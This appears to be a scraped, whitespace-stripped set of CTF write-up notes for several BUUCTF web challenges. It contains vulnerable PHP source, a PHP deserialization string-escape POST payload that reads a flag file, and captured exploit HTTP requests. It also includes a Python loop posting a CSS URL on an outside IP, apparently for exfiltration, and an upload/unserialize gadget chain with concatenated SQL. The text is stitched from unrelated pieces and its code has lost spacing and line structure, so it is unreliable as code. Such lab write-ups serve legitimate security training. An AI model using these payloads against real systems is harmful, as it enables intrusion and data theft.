<?php$function=@$_GET['f'];functionfilter($img){$filter_arr=array('php','flag','php5','php4','fl1g');$filter='/'.implode('|',$filter_arr).'/i';returnpreg_replace($filter,'',$img);}if($_SESSION){unset($_SESSION);}$_SESSION["user"]='guest';$_SESSION['function']=$function;extract($_POST);if(!$function){echo'<a href="index.php?f=highlight_file">source_code</a>';}if(!$_GET['img_path']){$_SESSION['img']=base64_encode('guest_img.png');}else{$_SESSION['img']=sha1(base64_encode($_GET['img_path']));}$serialize_info=filter(serialize($_SESSION));if($function=='highlight_file'){highlight_file('index.php');}elseif($function=='phpinfo'){eval('phpinfo();');//maybe you can find something in here!
}elseif($function=='show_image'){$userinfo=unserialize($serialize_info);echofile_get_contents(base64_decode($userinfo['img']));}
http://67e2db5a-09a2-490b-8870-79eafca38788.node5.buuoj.cn:81/index.php?f=show_image
POST :
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"2";}
1
2
3
4
5
<?php$flag='flag in /d0g3_fllllllag';?>
base64编码发现
1
L2QwZzNfZmxsbGxsbGFn(刚好20)
1
2
3
4
http://67e2db5a-09a2-490b-8870-79eafca38788.node5.buuoj.cn:81/index.php?f=show_image
POST :
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"1";s:1:"2";}
[安洵杯 2019]easy_web
抓包
1
2
3
4
5
6
7
8
9
10
11
12
Resquest:
GET /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= HTTP/1.1
Host: c2eba9fb-1c86-47cd-af1c-19d4b8dcdf12.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://c2eba9fb-1c86-47cd-af1c-19d4b8dcdf12.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
直接就处理了
1
2
3
4
5
6
7
8
9
10
GET /index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd= HTTP/1.1
Host: c2eba9fb-1c86-47cd-af1c-19d4b8dcdf12.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://c2eba9fb-1c86-47cd-af1c-19d4b8dcdf12.node5.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
importrequestsimporttimesession=requests.session()while1:burp0_url="http://bfa1cf93-5255-43b9-9cb0-873114a61c0b.node5.buuoj.cn:81/crawl.html"burp0_cookies={"UM_distinctid":"176929086fa3a0-0b0ed985080c69-163b6153-13c680-176929086fb472","_ga":"GA1.2.602800589.1608776974","_gid":"GA1.2.1740085603.1609750409"}burp0_headers={"Pragma":"no-cache","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36","Origin":"http://2c1fe10e-fee9-4956-b0f4-f87a2de7a0dc.node3.buuoj.cn","Content-Type":"application/x-www-form-urlencoded","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","Referer":"http://2c1fe10e-fee9-4956-b0f4-f87a2de7a0dc.node3.buuoj.cn/","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9","Connection":"close"}burp0_data={"css":"http://27.25.151.48:999/poc.css"}session.post(burp0_url,headers=burp0_headers,cookies=burp0_cookies,data=burp0_data)time.sleep(0.6)
<?phpclasshelper{protected$folder="pic/";protected$ifview=False;protected$config="config.txt";// The function is not yet perfect, it is not open yet.
publicfunctionupload($input="file"){$fileinfo=$this->getfile($input);$array=array();$array["title"]=$fileinfo['title'];$array["filename"]=$fileinfo['filename'];$array["ext"]=$fileinfo['ext'];//拓展名
$array["path"]=$fileinfo['path'];$img_ext=getimagesize($_FILES[$input]["tmp_name"]);//获得图片信息
$my_ext=array("width"=>$img_ext[0],"height"=>$img_ext[1]);$array["attr"]=serialize($my_ext);$id=$this->save($array);if($id==0){die("Something wrong!");}echo"<br>";echo"<p>Your images is uploaded successfully. And your image's id is $id.</p>";}publicfunctiongetfile($input){if(isset($input)){$rs=$this->check($_FILES[$input]);}return$rs;}publicfunctioncheck($info){$basename=substr(md5(time().uniqid()),9,16);$filename=$info["name"];$ext=substr(strrchr($filename,'.'),1);$cate_exts=array("jpg","gif","png","jpeg");if(!in_array($ext,$cate_exts)){die("<p>Please upload the correct image file!!!</p>");}$title=str_replace(".".$ext,'',$filename);returnarray('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);}publicfunctionsave($data){if(!$data||!is_array($data)){die("Something wrong!");}$id=$this->insert_array($data);return$id;}publicfunctioninsert_array($data){$con=mysqli_connect("127.0.0.1","r00t","r00t","pic_base");if(mysqli_connect_errno($con)){die("Connect MySQL Fail:".mysqli_connect_error());}$sql_fields=array();$sql_val=array();foreach($dataas$key=>$value){$key_temp=str_replace(chr(0).'*'.chr(0),'\0\0\0',$key);$value_temp=str_replace(chr(0).'*'.chr(0),'\0\0\0',$value);$sql_fields[]="`".$key_temp."`";$sql_val[]="'".$value_temp."'";}$sql="INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";mysqli_query($con,$sql);$id=mysqli_insert_id($con);mysqli_close($con);return$id;}publicfunctionview_files($path){if($this->ifview==False){returnFalse;//The function is not yet perfect, it is not open yet.
}$content=file_get_contents($path);echo$content;}function__destruct(){# Read some config html
$this->view_files($this->config);}}?>
<?phpinclude("./helper.php");$show=newshow();if($_GET["delete_all"]){if($_GET["delete_all"]=="true"){$show->Delete_All_Images();}}$show->Get_All_Images();classshow{public$con;publicfunction__construct(){$this->con=mysqli_connect("127.0.0.1","r00t","r00t","pic_base");if(mysqli_connect_errno($this->con)){die("Connect MySQL Fail:".mysqli_connect_error());}}publicfunctionGet_All_Images(){$sql="SELECT * FROM images";$result=mysqli_query($this->con,$sql);if($result->num_rows>0){//有返回行
while($row=$result->fetch_assoc()){if($row["attr"]){$attr_temp=str_replace('\0\0\0',chr(0).'*'.chr(0),$row["attr"]);//替换用来处理protected
$attr=unserialize($attr_temp);}echo"<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";}}else{echo"<p>You have not uploaded an image yet.</p>";}mysqli_close($this->con);}publicfunctionDelete_All_Images(){$sql="DELETE FROM images";$result=mysqli_query($this->con,$sql);}}?>